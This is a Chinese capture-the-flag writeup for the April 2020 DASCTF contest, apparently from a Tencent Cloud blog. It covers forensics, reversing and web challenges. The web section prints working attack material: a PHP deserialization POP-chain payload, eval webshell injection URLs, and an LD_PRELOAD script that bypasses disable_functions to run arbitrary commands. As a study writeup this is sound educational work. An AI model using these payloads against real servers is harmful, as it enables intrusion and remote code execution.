前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF系列——DASCTF四月春季赛Writeup

CTF系列——DASCTF四月春季赛Writeup

作者头像
Jayway
发布2020-05-09 14:52:23
4.7K1
发布2020-05-09 14:52:23
举报
文章被收录于专栏:卓文见识卓文见识

很久没正式打CTF,周末抽空参加了下安恒四月赛的DASCTF,个别题目质量还是蛮高的,这里把做出来的和赛后补充的做个记录。

MISC1(签到题):

题干:5G都来了,6G还远吗?

分析:附件大小将近1G,并且下载速度很慢:

不明所以,猜测思路是突破下载速度?但考虑到MISC题不会涉及到web知识,而且全题只涉及到一个partial文件,打开之后:

赛后才知道本题考点为断点下载。

MISC2:流量分析

题干:Dig something from blue shark.

分析:下载附件得到一个流量包,打开是蓝牙bluetooth音频的流量包:

猜测是蓝牙协议的分析,查了一会蓝牙协议后决定放弃,那就尝试其他思路:关键字搜索、查看协议分级、文件内容分离,binwalk一下发现,隐藏了一个7-zip压缩包:

尝试分离,三种办法:

1)dd分离

代码语言:javascript
复制
dd  if=111.pcapng of=1.7z bs=1 skip=24437

2)Foremost

代码语言:javascript
复制
foremost 111.pcapng

3)Wireshark提取

其实还有更简单的方法,直接修改流量包的后缀为zip解压,打开zip文件:

解压密码为PIN码,这步难倒不少人,其实很简单:

解压即得flag:

MISC3:内存取证

题干:Keyboard

分析:下载附件是一个raw文件和一个secret,后缀为raw的文件较大,像镜像文件,盲猜内存取证题:

当然先用volatility这个工具探测一下:

代码语言:javascript
复制
volatility -f Keyboard.raw imageinfo

获取到机器版本profile,下面获取内存、历史命令、进程、文件等,具体命令可参考:

https://www.freebuf.com/column/152545.html

发现存在keayboard-log.exe和VeraCrypt.exe的进程:

代码语言:javascript
复制
filescan查找文件:
volatility -f Keyboard.raw --profile=Win7SP0x64 filescan | grep -E 'txt'
Dumpfiles导出文件:
volatility -f Keyboard.raw --profile=Win7SP0x64 dumpfiles -Q 0x000000003d700880 -D /root/test/

下一步对导出的文件使用strings命令查看字符:

代码语言:javascript
复制
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:39:24
But the password is in uppercase

两条提示信息:在ctfwiki的crypto分类中可以找到这种密码,而且密码是大写,尝试后发现是键盘密码的一种:

所以VeraCrypt的解密密码是:

代码语言:javascript
复制
VERACRYPTPASSWORDISKEYBOARDDRAOBYEK

VeraCrypt搜索一下是个加解密工具,这里思路就很清楚了,用VeraCrypt挂载加密卷Secret,挂载后得到一个vhd文件,通过磁盘管理打开,得到一个flag.txt,这里加了一个NTFS隐写,取消文件隐藏后notepad一下即可看到flag:

代码语言:javascript
复制
notepad flag.txt:real.txt

reverse:基础逆向

下载附件得到一个exe文件,Olly DBG或IDA分析都可以:

逻辑很简单,经典判断流,问题在于for循环中涉及到了i - 112,但是v5长度肯定没那么大,观察到v5和v6后面注释的内容,A0h-30h恰好为70h,换成十进制也就是112,所以for循环中v6的i - 112也就是v5数组,再根据这个加密过程编写解密代码即可得到flag:

代码语言:javascript
复制
#include<bits/stdc++.h>
using namespace std;
 
int main(){
    char v5[10010]="akhb~chdaZrdaZudqduvdZvvv|";
    for(int i=0;i<strlen(v5);++i)
        v5[i]=(v5[i]-1)^6;
    cout<<v5;
    return 0;
}

Web1:反序列化POP链、字符逃逸

分析:访问地址,直接给代码:

代码语言:javascript
复制
<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
 
function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
 
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
 
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
 
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
 
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

明显是用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作c = 'a'.this->b; 此处的

代码语言:javascript
复制
$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

得到结果:

代码语言:javascript
复制
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

之后很明显就是字符逃逸了,看题目里的read()和write()方法,这里\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。

假设分别传入1和2,得到这样的序列化字符串:

代码语言:javascript
复制
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

传入payload:

代码语言:javascript
复制
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"

会得到这样的序列化字符串(每个*左右都有不可见字符%00):

代码语言:javascript
复制
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}

得到flag.php源码:

代码语言:javascript
复制
<?php
$flag = 'flag{54c3439fe400834815e5fb576adfe04a}';

Web2:反序列化POP链、字符逃逸

题干:babytricks

分析:此题难度较大,考点为:sprintf()格式化字符串、SQL注入、单行模式getshell、bypass UAF。

第一步利用格式化字符串吞引号+SQL注入把密码给打出来:

代码语言:javascript
复制
Array
(
    [0] => 1
    [id] => 1
    [1] => admin
    [user] => admin
    [2] => GoODLUcKcTFer202OHAckFuN
    [passwd] => GoODLUcKcTFer202OHAckFuN
)

然后去后台admin登录,来到第二步:

代码语言:javascript
复制
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
    die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
    $shell= addslashes($_GET['shell']);
    $file = file_get_contents('./shell.php');
    $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
    file_put_contents('./shell.php', $file);
}else{
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

分别访问:

代码语言:javascript
复制
http://183.129.189.60:10006/admin/admin.php?shell=;eval($_POST[cmd]);
http://183.129.189.60:10006/admin/admin.php?shell=$0

即可成功getshell,蚁剑连接:

第三步是bypass UAF,手动构造,题目给了so文件,想到了LD_PRELOAD,参考:

https://www.freebuf.com/articles/web/192052.html,

以及payload:

代码语言:javascript
复制
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

上传文件,然后发现不能执行,看看内容中是否有函数被过滤,发现 mail被过滤了。

代码语言:javascript
复制
<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
 
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
 
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
 
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
 
    mail("", "", "", "");
 
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
 
    unlink($out_path);
?>
代码语言:javascript
复制
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

找一个函数来开启新的进程,最终使用gnupg拓展修改代码:

最终payload:

代码语言:javascript
复制
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/admin/shells/xxxxxxx/bypass_disablefunc_x64.so

Crypto:

实在是软肋,直接学习WP:

https://badmonkey.site/archives/anheng-2020-4.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档